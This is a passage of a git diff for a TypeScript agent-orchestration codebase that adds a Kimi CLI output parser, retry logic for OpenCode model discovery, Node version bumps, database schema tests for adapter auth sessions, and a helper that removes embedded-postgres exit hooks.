diff --git a/packages/adapters/kimi-local/src/ui/parse-stdout.test.ts b/packages/adapters/kimi-local/src/ui/parse-stdout.test.ts
new file mode 100644
index 00000000000..d071bb1d1e1
--- /dev/null
+++ b/packages/adapters/kimi-local/src/ui/parse-stdout.test.ts
@@ -0,0 +1,92 @@
+import { describe, expect, it } from "vitest";
+import { parseKimiStdoutLine } from "./parse-stdout.js";
+
+const ts = "2026-07-19T00:00:00.000Z";
+
+describe("parseKimiStdoutLine ACP delegation", () => {
+  it("delegates acpx.* events to the shared acpx transcript parser", () => {
+    const line = JSON.stringify({ type: "acpx.tool_call", name: "Terminal", status: "pending", text: "Terminal (pending)" });
+    const entries = parseKimiStdoutLine(line, ts);
+    // The shared parser produces a structured entry, not the raw stdout fallback.
+    expect(entries.length).toBeGreaterThan(0);
+    expect(entries.every((e) => e.kind !== "stdout")).toBe(true);
+  });
+
+  it("still parses native kimi role events (no acpx type)", () => {
+    const line = JSON.stringify({ role: "assistant", content: "hi" });
+    expect(parseKimiStdoutLine(line, ts)).toEqual([{ kind: "assistant", ts, text: "hi" }]);
+  });
+});
+
+describe("parseKimiStdoutLine", () => {
+  it("renders assistant content as an assistant transcript entry", () => {
+    const line = JSON.stringify({
+      role: "assistant",
+      content: "PAPERCLIP_ADAPTER_TEST_OK",
+    });
+    expect(parseKimiStdoutLine(line, ts)).toEqual([
+      { kind: "assistant", ts, text: "PAPERCLIP_ADAPTER_TEST_OK" },
+    ]);
+  });
+
+  it("renders assistant tool_calls with parsed arguments", () => {
+    const line = JSON.stringify({
+      role: "assistant",
+      tool_calls: [{
+        type: "function",
+        id: "tool_8c1OWyRBe68OMTbWY6NqnkMm",
+        function: { name: "Read", arguments: "{\"path\":\"probe.txt\"}" },
+      }],
+    });
+    expect(parseKimiStdoutLine(line, ts)).toEqual([
+      {
+        kind: "tool_call",
+        ts,
+        name: "Read",
+        input: { path: "probe.txt" },
+        toolUseId: "tool_8c1OWyRBe68OMTbWY6NqnkMm",
+      },
+    ]);
+  });
+
+  it("renders tool results as tool_result entries", () => {
+    const line = JSON.stringify({
+      role: "tool",
+      tool_call_id: "tool_8c1OWyRBe68OMTbWY6NqnkMm",
+      content: "1\thello paperclip",
+    });
+    expect(parseKimiStdoutLine(line, ts)).toEqual([
+      {
+        kind: "tool_result",
+        ts,
+        toolUseId: "tool_8c1OWyRBe68OMTbWY6NqnkMm",
+        content: "1\thello paperclip",
+        isError: false,
+      },
+    ]);
+  });
+
+  it("surfaces the meta session resume hint as session info", () => {
+    const line = JSON.stringify({
+      role: "meta",
+      type: "session.resume_hint",
+      session_id: "session_769ddab9-0a25-4edd-99f4-cdfebdc90879",
+      command: "kimi -r session_769ddab9-0a25-4edd-99f4-cdfebdc90879",
+      content: "To resume this session: kimi -r session_769ddab9-0a25-4edd-99f4-cdfebdc90879",
+    });
+    expect(parseKimiStdoutLine(line, ts)).toEqual([
+      { kind: "system", ts, text: "session: session_769ddab9-0a25-4edd-99f4-cdfebdc90879" },
+    ]);
+  });
+
+  it("ignores unrecognized meta lines", () => {
+    const line = JSON.stringify({ role: "meta", type: "progress", content: "working" });
+    expect(parseKimiStdoutLine(line, ts)).toEqual([]);
+  });
+
+  it("passes non-JSON lines through as stdout", () => {
+    expect(parseKimiStdoutLine("plain output line", ts)).toEqual([
+      { kind: "stdout", ts, text: "plain output line" },
+    ]);
+  });
+});
diff --git a/packages/adapters/kimi-local/src/ui/parse-stdout.ts b/packages/adapters/kimi-local/src/ui/parse-stdout.ts
new file mode 100644
index 00000000000..279b73bb153
--- /dev/null
+++ b/packages/adapters/kimi-local/src/ui/parse-stdout.ts
@@ -0,0 +1,114 @@
+import type { TranscriptEntry } from "@paperclipai/adapter-utils";
+import { parseAcpxStdoutLine } from "@paperclipai/adapter-utils/acpx-engine/ui";
+
+function safeJsonParse(text: string): unknown {
+  try {
+    return JSON.parse(text);
+  } catch {
+    return null;
+  }
+}
+
+function asRecord(value: unknown): Record<string, unknown> | null {
+  if (typeof value !== "object" || value === null || Array.isArray(value)) return null;
+  return value as Record<string, unknown>;
+}
+
+function asString(value: unknown, fallback = ""): string {
+  return typeof value === "string" ? value : fallback;
+}
+
+function stringifyUnknown(value: unknown): string {
+  if (typeof value === "string") return value;
+  if (value === null || value === undefined) return "";
+  try {
+    return JSON.stringify(value, null, 2);
+  } catch {
+    return String(value);
+  }
+}
+
+function parseToolCallArguments(value: unknown): unknown {
+  if (typeof value !== "string") return value ?? {};
+  const trimmed = value.trim();
+  if (!trimmed) return {};
+  try {
+    return JSON.parse(trimmed);
+  } catch {
+    return value;
+  }
+}
+
+/**
+ * Map one `kimi -p ... --output-format stream-json` stdout line to transcript
+ * entries. Verified shapes (kimi 0.27.0): assistant content, assistant
+ * tool_calls (arguments is a JSON-encoded string), tool results, and a
+ * trailing meta session.resume_hint event.
+ */
+export function parseKimiStdoutLine(line: string, ts: string): TranscriptEntry[] {
+  const parsed = asRecord(safeJsonParse(line));
+  if (!parsed) {
+    return [{ kind: "stdout", ts, text: line }];
+  }
+
+  // ACP-lane runs emit acpx.* events (streaming text deltas, tool-call status
+  // lifecycle); delegate those to the shared acpx transcript parser.
+  if (asString(parsed.type).startsWith("acpx.")) {
+    return parseAcpxStdoutLine(line, ts);
+  }
+
+  const role = asString(parsed.role).trim().toLowerCase();
+
+  if (role === "assistant") {
+    const entries: TranscriptEntry[] = [];
+    const content = asString(parsed.content).trim();
+    if (content) entries.push({ kind: "assistant", ts, text: content });
+    const toolCalls = Array.isArray(parsed.tool_calls) ? parsed.tool_calls : [];
+    for (const callRaw of toolCalls) {
+      const call = asRecord(callRaw);
+      if (!call) continue;
+      const fn = asRecord(call.function);
+      const name = asString(fn?.name, asString(call.name, "tool")).trim() || "tool";
+      entries.push({
+        kind: "tool_call",
+        ts,
+        name,
+        input: parseToolCallArguments(fn?.arguments ?? call.arguments),
+        toolUseId: asString(call.id).trim() || undefined,
+      });
+    }
+    return entries;
+  }
+
+  if (role === "tool") {
+    const toolUseId = asString(parsed.tool_call_id).trim() || "tool_result";
+    const content = asString(parsed.content) || stringifyUnknown(parsed.content);
+    return [{
+      kind: "tool_result",
+      ts,
+      toolUseId,
+      content,
+      isError: false,
+    }];
+  }
+
+  if (role === "meta") {
+    const type = asString(parsed.type).trim();
+    if (type === "session.resume_hint") {
+      const sessionId = asString(parsed.session_id).trim();
+      return sessionId ? [{ kind: "system", ts, text: `session: ${sessionId}` }] : [];
+    }
+    return [];
+  }
+
+  if (role === "error" || asString(parsed.type).trim().toLowerCase() === "error") {
+    const text =
+      asString(parsed.content) ||
+      asString(parsed.message) ||
+      asString(parsed.error) ||
+      "Kimi error";
+    return [{ kind: "stderr", ts, text }];
+  }
+
+  return [{ kind: "stdout", ts, text: line }];
+}
diff --git a/packages/adapters/kimi-local/tsconfig.json b/packages/adapters/kimi-local/tsconfig.json
new file mode 100644
index 00000000000..2f355cfeebf
--- /dev/null
+++ b/packages/adapters/kimi-local/tsconfig.json
@@ -0,0 +1,8 @@
+{
+  "extends": "../../../tsconfig.json",
+  "compilerOptions": {
+    "outDir": "dist",
+    "rootDir": "src"
+  },
+  "include": ["src"]
+}
diff --git a/packages/adapters/kimi-local/vitest.config.ts b/packages/adapters/kimi-local/vitest.config.ts
new file mode 100644
index 00000000000..f624398e8de
--- /dev/null
+++ b/packages/adapters/kimi-local/vitest.config.ts
@@ -0,0 +1,7 @@
+import { defineConfig } from "vitest/config";
+
+export default defineConfig({
+  test: {
+    environment: "node",
+  },
+});
diff --git a/packages/adapters/openclaw-gateway/package.json b/packages/adapters/openclaw-gateway/package.json
index 5fdb8ea9724..e8d110c52ae 100644
--- a/packages/adapters/openclaw-gateway/package.json
+++ b/packages/adapters/openclaw-gateway/package.json
@@ -52,11 +52,14 @@
   "dependencies": {
     "@paperclipai/adapter-utils": "workspace:*",
     "picocolors": "^1.1.1",
-    "ws": "^8.21.1"
+    "ws": "^8.21.3"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "@types/ws": "^8.18.1",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/opencode-local/package.json b/packages/adapters/opencode-local/package.json
index cd956b0e4a0..42a4687880f 100644
--- a/packages/adapters/opencode-local/package.json
+++ b/packages/adapters/opencode-local/package.json
@@ -55,7 +55,10 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/opencode-local/src/server/models.test.ts b/packages/adapters/opencode-local/src/server/models.test.ts
index 71748e3792a..b4fde5986a8 100644
--- a/packages/adapters/opencode-local/src/server/models.test.ts
+++ b/packages/adapters/opencode-local/src/server/models.test.ts
@@ -1,5 +1,7 @@
-import { afterEach, describe, expect, it } from "vitest";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import * as serverUtils from "@paperclipai/adapter-utils/server-utils";
 import {
+  discoverOpenCodeModels,
   ensureOpenCodeModelConfiguredAndAvailable,
   listOpenCodeModels,
   requireOpenCodeModelId,
@@ -11,6 +13,8 @@ describe("openCode models", () => {
     delete process.env.PAPERCLIP_OPENCODE_COMMAND;
     delete process.env.OPENCODE_ALLOW_ALL_MODELS;
     resetOpenCodeModelsCacheForTests();
+    vi.restoreAllMocks();
+    vi.useRealTimers();
   });
 
   it("returns an empty list when discovery command is unavailable", async () => {
@@ -74,4 +78,68 @@ describe("openCode models", () => {
       }),
     ).rejects.toThrow("OpenCode requires `adapterConfig.model`");
   });
+
+  it("retries a transient `opencode models` failure with backoff before succeeding", async () => {
+    vi.useFakeTimers();
+    const spy = vi
+      .spyOn(serverUtils, "runChildProcess")
+      .mockResolvedValueOnce({
+        exitCode: 1,
+        signal: null,
+        timedOut: false,
+        stdout: "",
+        stderr: "queued behind another opencode run",
+        pid: 1,
+        startedAt: new Date().toISOString(),
+      })
+      .mockResolvedValueOnce({
+        exitCode: null,
+        signal: null,
+        timedOut: true,
+        stdout: "",
+        stderr: "",
+        pid: 1,
+        startedAt: new Date().toISOString(),
+      })
+      .mockResolvedValueOnce({
+        exitCode: 0,
+        signal: null,
+        timedOut: false,
+        stdout: "ollama/qwen2.5-coder:7b\n",
+        stderr: "",
+        pid: 1,
+        startedAt: new Date().toISOString(),
+      });
+
+    const promise = discoverOpenCodeModels();
+    await vi.runAllTimersAsync();
+
+    await expect(promise).resolves.toEqual([
+      { id: "ollama/qwen2.5-coder:7b", label: "ollama/qwen2.5-coder:7b" },
+    ]);
+    expect(spy).toHaveBeenCalledTimes(3);
+  });
+
+  it("surfaces the last error once retries are exhausted", async () => {
+    vi.useFakeTimers();
+    const spy = vi
+      .spyOn(serverUtils, "runChildProcess")
+      .mockResolvedValue({
+        exitCode: 1,
+        signal: null,
+        timedOut: false,
+        stdout: "",
+        stderr: "queued behind another opencode run",
+        pid: 1,
+        startedAt: new Date().toISOString(),
+      });
+
+    const promise = discoverOpenCodeModels();
+    const assertion = expect(promise).rejects.toThrow(
+      "`opencode models` failed: queued behind another opencode run",
+    );
+    await vi.runAllTimersAsync();
+    await assertion;
+    expect(spy).toHaveBeenCalledTimes(3);
+  });
 });
diff --git a/packages/adapters/opencode-local/src/server/models.ts b/packages/adapters/opencode-local/src/server/models.ts
index 172a5ce242a..5af8c203c90 100644
--- a/packages/adapters/opencode-local/src/server/models.ts
+++ b/packages/adapters/opencode-local/src/server/models.ts
@@ -10,6 +10,15 @@ import { isValidOpenCodeModelId } from "../index.js";
 
 const MODELS_CACHE_TTL_MS = 60_000;
 const MODELS_DISCOVERY_TIMEOUT_MS = 20_000;
+// `opencode models` is a lightweight metadata call, but on a shared ollama
+// daemon it can queue behind an in-flight `opencode run` generation on the
+// same host and either time out or fail with an opaque error. Retry a few
+// times with backoff before surfacing a hard failure (SAG-6326/SAG-6336).
+const MODELS_DISCOVERY_RETRY_DELAYS_MS = [2_000, 4_000];
+
+function sleep(ms: number): Promise<void> {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
 
 function resolveOpenCodeCommand(input: unknown): string {
   const envOverride =
@@ -132,28 +141,38 @@ export async function discoverOpenCodeModels(input: {
   // Prevent OpenCode from writing an opencode.json into the working directory.
   const runtimeEnv = normalizeEnv(ensurePathInEnv({ ...process.env, ...env, ...(resolvedHome ? { HOME: resolvedHome } : {}), OPENCODE_DISABLE_PROJECT_CONFIG: "true" }));
 
-  const result = await runChildProcess(
-    `opencode-models-${Date.now()}-${Math.random().toString(16).slice(2)}`,
-    command,
-    ["models"],
-    {
-      cwd,
-      env: runtimeEnv,
-      timeoutSec: MODELS_DISCOVERY_TIMEOUT_MS / 1000,
-      graceSec: 3,
-      onLog: async () => {},
-    },
-  );
+  const maxAttempts = MODELS_DISCOVERY_RETRY_DELAYS_MS.length + 1;
+  let lastError: Error | undefined;
 
-  if (result.timedOut) {
-    throw new Error(`\`opencode models\` timed out after ${MODELS_DISCOVERY_TIMEOUT_MS / 1000}s.`);
-  }
-  if ((result.exitCode ?? 1) !== 0) {
-    const detail = firstNonEmptyLine(result.stderr) || firstNonEmptyLine(result.stdout);
-    throw new Error(detail ? `\`opencode models\` failed: ${detail}` : "`opencode models` failed.");
+  for (let attempt = 1; attempt <= maxAttempts; attempt++) {
+    const result = await runChildProcess(
+      `opencode-models-${Date.now()}-${Math.random().toString(16).slice(2)}`,
+      command,
+      ["models"],
+      {
+        cwd,
+        env: runtimeEnv,
+        timeoutSec: MODELS_DISCOVERY_TIMEOUT_MS / 1000,
+        graceSec: 3,
+        onLog: async () => {},
+      },
+    );
+
+    if (result.timedOut) {
+      lastError = new Error(`\`opencode models\` timed out after ${MODELS_DISCOVERY_TIMEOUT_MS / 1000}s.`);
+    } else if ((result.exitCode ?? 1) !== 0) {
+      const detail = firstNonEmptyLine(result.stderr) || firstNonEmptyLine(result.stdout);
+      lastError = new Error(detail ? `\`opencode models\` failed: ${detail}` : "`opencode models` failed.");
+    } else {
+      return sortModels(parseOpenCodeModelsOutput(result.stdout));
+    }
+
+    const delayMs = MODELS_DISCOVERY_RETRY_DELAYS_MS[attempt - 1];
+    if (delayMs === undefined) break;
+    await sleep(delayMs);
   }
 
-  return sortModels(parseOpenCodeModelsOutput(result.stdout));
+  throw lastError ?? new Error("`opencode models` failed.");
 }
 
 export async function discoverOpenCodeModelsCached(input: {
diff --git a/packages/adapters/pi-local/package.json b/packages/adapters/pi-local/package.json
index 24ef2e78c09..b9d258bf45b 100644
--- a/packages/adapters/pi-local/package.json
+++ b/packages/adapters/pi-local/package.json
@@ -54,7 +54,10 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/db/package.json b/packages/db/package.json
index 8ed466d9d73..50e6d11a8b8 100644
--- a/packages/db/package.json
+++ b/packages/db/package.json
@@ -53,10 +53,13 @@
     "postgres": "^3.4.9"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "drizzle-kit": "^0.31.10",
-    "tsx": "^4.23.1",
+    "tsx": "^4.23.12",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/db/src/adapter-auth-sessions-schema.test.ts b/packages/db/src/adapter-auth-sessions-schema.test.ts
index cfa7e58ceef..d0375816757 100644
--- a/packages/db/src/adapter-auth-sessions-schema.test.ts
+++ b/packages/db/src/adapter-auth-sessions-schema.test.ts
@@ -1,10 +1,15 @@
 import fs from "node:fs";
 import { getTableConfig } from "drizzle-orm/pg-core";
 import { describe, expect, it } from "vitest";
-import { adapterAuthSessions } from "./schema/adapter_auth_sessions.js";
+import {
+  ADAPTER_AUTH_SESSION_ACTIVE_STATES,
+  adapterAuthSessions,
+} from "./schema/adapter_auth_sessions.js";
 
 type PgTable = Parameters<typeof getTableConfig>[0];
 
+const ACTIVE_INDEX = "adapter_auth_sessions_company_owner_adapter_active_uq";
+
 function findIndex(table: PgTable, indexName: string) {
   return getTableConfig(table).indexes.find((candidate) => candidate.config.name === indexName);
 }
@@ -15,53 +20,114 @@ function indexColumns(table: PgTable, indexName: string): string[] {
   return index.config.columns.map((column) => (column as { name: string }).name);
 }
 
-function columnIsNotNull(table: PgTable, columnName: string): boolean {
-  const column = getTableConfig(table).columns.find((candidate) => candidate.name === columnName);
-  return column?.notNull ?? false;
+function column(table: PgTable, columnName: string) {
+  return getTableConfig(table).columns.find((candidate) => candidate.name === columnName);
 }
 
-// The migration that creates the table. The test locates it by content, so a
-// later re-generation with a different name does not break the test.
+function columnIsNotNull(table: PgTable, columnName: string): boolean {
+  return column(table, columnName)?.notNull ?? false;
+}
+
+// The migration that re-scopes the active index. The test locates it by content,
+// so a later re-generation with a different name does not break the test.
 function activeIndexMigrationSql(): string {
   const migrationsDir = new URL("./migrations/", import.meta.url);
   const files = fs.readdirSync(migrationsDir).filter((name) => name.endsWith(".sql"));
   for (const name of files) {
     const content = fs.readFileSync(new URL(name, migrationsDir), "utf8");
-    if (content.includes("adapter_auth_sessions_company_adapter_active_uq")) {
+    if (content.includes(ACTIVE_INDEX)) {
       return content;
     }
   }
-  throw new Error("no migration creates adapter_auth_sessions_company_adapter_active_uq");
+  throw new Error(`no migration creates ${ACTIVE_INDEX}`);
 }
 
 describe("adapter auth sessions schema", () => {
-  it("serializes on the company credential slot over the active statuses", () => {
-    const active = findIndex(adapterAuthSessions, "adapter_auth_sessions_company_adapter_active_uq");
+  it("serializes the active slot on company, owner, and adapter", () => {
+    const active = findIndex(adapterAuthSessions, ACTIVE_INDEX);
     expect(active).toBeDefined();
     expect(active?.config.unique).toBe(true);
-    expect(indexColumns(adapterAuthSessions, "adapter_auth_sessions_company_adapter_active_uq")).toEqual([
+    expect(indexColumns(adapterAuthSessions, ACTIVE_INDEX)).toEqual([
       "company_id",
+      "started_by_user_id",
       "adapter_type",
     ]);
     // The active index is partial; the where clause is present.
     expect(active?.config.where).toBeDefined();
   });
 
-  it("keeps the owner principal non-null and out of the uniqueness key", () => {
+  it("keeps the owner principal non-null and drops the environment from the key", () => {
     expect(columnIsNotNull(adapterAuthSessions, "started_by_user_id")).toBe(true);
-    const activeColumns = indexColumns(
-      adapterAuthSessions,
-      "adapter_auth_sessions_company_adapter_active_uq",
-    );
-    expect(activeColumns).not.toContain("started_by_user_id");
+    const activeColumns = indexColumns(adapterAuthSessions, ACTIVE_INDEX);
+    expect(activeColumns).toContain("started_by_user_id");
     expect(activeColumns).not.toContain("environment_id");
   });
 
-  it("generates a partial unique index over the three active statuses", () => {
+  it("adds the public session id, non-null and unique", () => {
+    expect(column(adapterAuthSessions, "public_session_id")).toBeDefined();
+    expect(columnIsNotNull(adapterAuthSessions, "public_session_id")).toBe(true);
+    const uniqueOnPublicSessionId = findIndex(
+      adapterAuthSessions,
+      "adapter_auth_sessions_public_session_id_uq",
+    );
+    expect(uniqueOnPublicSessionId).toBeDefined();
+    expect(uniqueOnPublicSessionId?.config.unique).toBe(true);
+    expect(indexColumns(adapterAuthSessions, "adapter_auth_sessions_public_session_id_uq")).toEqual([
+      "public_session_id",
+    ]);
+  });
+
+  it("adds the claim marker, nullable", () => {
+    // A row starts with no claim consumption. The service fills `bound_at` only
+    // when the create path consumes the stored claim.
+    expect(column(adapterAuthSessions, "bound_at")).toBeDefined();
+    expect(columnIsNotNull(adapterAuthSessions, "bound_at")).toBe(false);
+  });
+
+  it("merges the two state unions and drops the persisting state", () => {
+    expect([...ADAPTER_AUTH_SESSION_ACTIVE_STATES]).toEqual([
+      "starting",
+      "waiting_for_user",
+      "promoting",
+      "awaiting_code",
+      "submitting",
+    ]);
+    // The removed state stays out of the active set.
+    expect([...ADAPTER_AUTH_SESSION_ACTIVE_STATES]).not.toContain("persisting");
+    // The one-time claim state and the terminal states do not hold the slot.
+    expect([...ADAPTER_AUTH_SESSION_ACTIVE_STATES]).not.toContain("stored");
+    expect([...ADAPTER_AUTH_SESSION_ACTIVE_STATES]).not.toContain("completed");
+  });
+
+  it("holds no secret-bearing column", () => {
+    // The durable store keeps only ids, the state, the lease reference, and the
+    // deadlines. It never holds the prompt, the login URL, the browser code, the
+    // token, or a process chunk.
+    const names = getTableConfig(adapterAuthSessions).columns.map((c) => c.name);
+    const forbidden = ["token", "code", "url", "secret", "credential", "prompt", "output"];
+    for (const name of names) {
+      for (const needle of forbidden) {
+        expect(name.includes(needle)).toBe(false);
+      }
+    }
+  });
+
+  it("generates the partial unique index over the merged active states", () => {
     const sql = activeIndexMigrationSql();
-    expect(sql).toContain('CREATE UNIQUE INDEX "adapter_auth_sessions_company_adapter_active_uq"');
-    expect(sql).toContain('("company_id","adapter_type")');
-    expect(sql).toContain("'starting', 'waiting_for_user', 'promoting'");
-    expect(sql).toContain('"started_by_user_id" text NOT NULL');
+    expect(sql).toContain(`CREATE UNIQUE INDEX "${ACTIVE_INDEX}"`);
+    expect(sql).toContain('("company_id","started_by_user_id","adapter_type")');
+    expect(sql).toContain(
+      "'starting', 'waiting_for_user', 'promoting', 'awaiting_code', 'submitting'",
+    );
+    // The new non-null column and the unique index are in the migration.
+    expect(sql).toContain('"public_session_id" varchar(128) NOT NULL');
+    expect(sql).toContain(`CREATE UNIQUE INDEX "adapter_auth_sessions_public_session_id_uq"`);
+    // The removed state and the non-active states stay out of the predicate.
+    const predicate = sql.slice(sql.indexOf(ACTIVE_INDEX));
+    const whereClause = predicate.slice(predicate.indexOf("WHERE"), predicate.indexOf(";"));
+    expect(whereClause).not.toContain("'persisting'");
+    expect(whereClause).not.toContain("'stored'");
+    expect(whereClause).not.toContain("'completed'");
+    expect(whereClause).not.toContain("'authenticated'");
   });
 });
diff --git a/packages/db/src/agent-wakeup-requests-schema.test.ts b/packages/db/src/agent-wakeup-requests-schema.test.ts
index 0ab53b527fa..6ee9f214434 100644
--- a/packages/db/src/agent-wakeup-requests-schema.test.ts
+++ b/packages/db/src/agent-wakeup-requests-schema.test.ts
@@ -15,4 +15,17 @@ describe("agent wakeup request schema", () => {
     ]);
     expect(index?.config.where).toBeDefined();
   });
+
+  it("atomically deduplicates disposition-repair attempts per company", () => {
+    const index = getTableConfig(agentWakeupRequests).indexes.find(
+      (candidate) => candidate.config.name === "agent_wakeup_requests_disposition_repair_idempotency_uq",
+    );
+
+    expect(index?.config.unique).toBe(true);
+    expect(index?.config.columns.map((column) => (column as { name: string }).name)).toEqual([
+      "company_id",
+      "idempotency_key",
+    ]);
+    expect(index?.config.where).toBeDefined();
+  });
 });
diff --git a/packages/db/src/client.ts b/packages/db/src/client.ts
index 99b8f8a17dd..c0337620491 100644
--- a/packages/db/src/client.ts
+++ b/packages/db/src/client.ts
@@ -35,13 +35,20 @@ function splitMigrationStatements(content: string): string[] {
 }
 
 export type MigrationState =
-  | { status: "upToDate"; tableCount: number; availableMigrations: string[]; appliedMigrations: string[] }
+  | {
+      status: "upToDate";
+      tableCount: number;
+      availableMigrations: string[];
+      appliedMigrations: string[];
+      journalEntryCount: number;
+    }
   | {
       status: "needsMigrations";
       tableCount: number;
       availableMigrations: string[];
       appliedMigrations: string[];
       pendingMigrations: string[];
+      journalEntryCount: number;
       reason: "no-migration-journal-empty-db" | "no-migration-journal-non-empty-db" | "pending-migrations";
     };
 
@@ -683,6 +690,7 @@ export async function inspectMigrations(url: string): Promise<MigrationState> {
           availableMigrations,
           appliedMigrations: [],
           pendingMigrations: availableMigrations,
+          journalEntryCount: 0,
           reason: "no-migration-journal-non-empty-db",
         };
       }
@@ -693,10 +701,16 @@ export async function inspectMigrations(url: string): Promise<MigrationState> {
         availableMigrations,
         appliedMigrations: [],
         pendingMigrations: availableMigrations,
+        journalEntryCount: 0,
         reason: "no-migration-journal-empty-db",
       };
     }
 
+    const qualifiedMigrationTable = `${quoteIdentifier(migrationTableSchema)}.${quoteIdentifier(DRIZZLE_MIGRATIONS_TABLE)}`;
+    const journalCountRows = await sql.unsafe<{ count: number }[]>(
+      `SELECT count(*)::int AS count FROM ${qualifiedMigrationTable}`,
+    );
+    const journalEntryCount = journalCountRows[0]?.count ?? 0;
     const appliedMigrations = await loadAppliedMigrations(sql, migrationTableSchema, availableMigrations);
     const pendingMigrations = availableMigrations.filter((name) => !appliedMigrations.includes(name));
     if (pendingMigrations.length === 0) {
@@ -705,6 +719,7 @@ export async function inspectMigrations(url: string): Promise<MigrationState> {
         tableCount,
         availableMigrations,
         appliedMigrations,
+        journalEntryCount,
       };
     }
 
@@ -714,6 +729,7 @@ export async function inspectMigrations(url: string): Promise<MigrationState> {
       availableMigrations,
       appliedMigrations,
       pendingMigrations,
+      journalEntryCount,
       reason: "pending-migrations",
     };
   } finally {
diff --git a/packages/db/src/company-secret-proposals-migration.test.ts b/packages/db/src/company-secret-proposals-migration.test.ts
index b358551ccc5..40e4ed629a0 100644
--- a/packages/db/src/company-secret-proposals-migration.test.ts
+++ b/packages/db/src/company-secret-proposals-migration.test.ts
@@ -44,6 +44,6 @@ describeEmbeddedPostgres("company secret proposals migration", () => {
         (SELECT count(*)::int FROM pg_constraint WHERE conrelid = 'company_secret_proposals'::regclass AND contype <> 'n') AS constraints,
         (SELECT count(*)::int FROM pg_indexes WHERE tablename = 'company_secret_proposals') AS indexes
     `;
-    expect(result).toEqual({ constraints: 13, indexes: 5 });
+    expect(result).toEqual({ constraints: 14, indexes: 6 });
   }, 30_000);
 });
diff --git a/packages/db/src/embedded-postgres-lifecycle.test.ts b/packages/db/src/embedded-postgres-lifecycle.test.ts
new file mode 100644
index 00000000000..7639fac645b
--- /dev/null
+++ b/packages/db/src/embedded-postgres-lifecycle.test.ts
@@ -0,0 +1,77 @@
+import { EventEmitter } from "node:events";
+import { describe, expect, it, vi } from "vitest";
+import { loadWithoutEmbeddedPostgresExitHooks } from "./embedded-postgres-lifecycle.js";
+
+describe("loadWithoutEmbeddedPostgresExitHooks", () => {
+  it("removes every eager exit hook from the real embedded-postgres import", async () => {
+    const eventNames = [
+      "exit",
+      "beforeExit",
+      "SIGHUP",
+      "SIGINT",
+      "SIGTERM",
+      "SIGBREAK",
+      "message",
+    ];
+    const before = new Map(eventNames.map((eventName) => [
+      eventName,
+      process.rawListeners(eventName),
+    ]));
+    const moduleName = "embedded-postgres";
+
+    await loadWithoutEmbeddedPostgresExitHooks(() => import(moduleName));
+
+    for (const eventName of eventNames) {
+      expect(process.rawListeners(eventName)).toEqual(before.get(eventName));
+    }
+  });
+
+  it("removes dependency exit hooks while preserving existing listeners", async () => {
+    const target = new EventEmitter();
+    const existingSignalListener = vi.fn();
+    const existingExitListener = vi.fn();
+    target.on("SIGTERM", existingSignalListener);
+    target.on("exit", existingExitListener);
+
+    const dependencyListener = vi.fn();
+    const loaded = await loadWithoutEmbeddedPostgresExitHooks(
+      async () => {
+        for (const eventName of [
+          "exit",
+          "beforeExit",
+          "SIGHUP",
+          "SIGINT",
+          "SIGTERM",
+          "SIGBREAK",
+          "message",
+        ]) {
+          target.on(eventName, dependencyListener);
+        }
+        return { default: class EmbeddedPostgres {} };
+      },
+      target,
+    );
+
+    expect(loaded.default.name).toBe("EmbeddedPostgres");
+    expect(target.rawListeners("SIGTERM")).toEqual([existingSignalListener]);
+    expect(target.rawListeners("exit")).toEqual([existingExitListener]);
+    for (const eventName of ["beforeExit", "SIGHUP", "SIGINT", "SIGBREAK", "message"]) {
+      expect(target.rawListeners(eventName)).toEqual([]);
+    }
+  });
+
+  it("cleans up listeners even when the import fails", async () => {
+    const target = new EventEmitter();
+    const dependencyListener = vi.fn();
+
+    await expect(loadWithoutEmbeddedPostgresExitHooks(
+      async () => {
+        target.on("SIGTERM", dependencyListener);
+        throw new Error("import failed");
+      },
+      target,
+    )).rejects.toThrow("import failed");
+
+    expect(target.rawListeners("SIGTERM")).toEqual([]);
+  });
+});
diff --git a/packages/db/src/embedded-postgres-lifecycle.ts b/packages/db/src/embedded-postgres-lifecycle.ts
new file mode 100644
index 00000000000..5bd7e55faa8
--- /dev/null
+++ b/packages/db/src/embedded-postgres-lifecycle.ts
@@ -0,0 +1,54 @@
+const EMBEDDED_POSTGRES_EXIT_EVENTS = [
+  "exit",
+  "beforeExit",
+  "SIGHUP",
+  "SIGINT",
+  "SIGTERM",
+  "SIGBREAK",
+  "message",
+] as const;
+
+type EmbeddedPostgresExitTarget = {
+  rawListeners(eventName: string): Function[];
+  removeListener(eventName: string, listener: (...args: any[]) => void): unknown;
+};
+
+/**
+ * embedded-postgres installs async-exit-hook listeners as an import side effect.
+ * Paperclip-managed clusters have an explicit owner and shutdown path, so those
+ * global listeners must not be allowed to stop a cluster independently of that
+ * owner (for example while a worktree seed restore is still streaming).
+ *
+ * Remove only listeners added by the supplied import and preserve every listener
+ * that was already registered by Paperclip or its host process.
+ */
+export async function loadWithoutEmbeddedPostgresExitHooks<T>(
+  load: () => Promise<T>,
+  target: EmbeddedPostgresExitTarget = process,
+): Promise<T> {
+  const listenersBeforeLoad = new Map(
+    EMBEDDED_POSTGRES_EXIT_EVENTS.map((eventName) => [
+      eventName,
+      target.rawListeners(eventName),
+    ]),
+  );
+
+  let loaded: T;
+  try {
+    loaded = await load();
+  } finally {
+    for (const eventName of EMBEDDED_POSTGRES_EXIT_EVENTS) {
+      const remainingBeforeLoad = [...(listenersBeforeLoad.get(eventName) ?? [])];
+      for (const listener of target.rawListeners(eventName)) {
+        const existingIndex = remainingBeforeLoad.indexOf(listener);
+        if (existingIndex >= 0) {
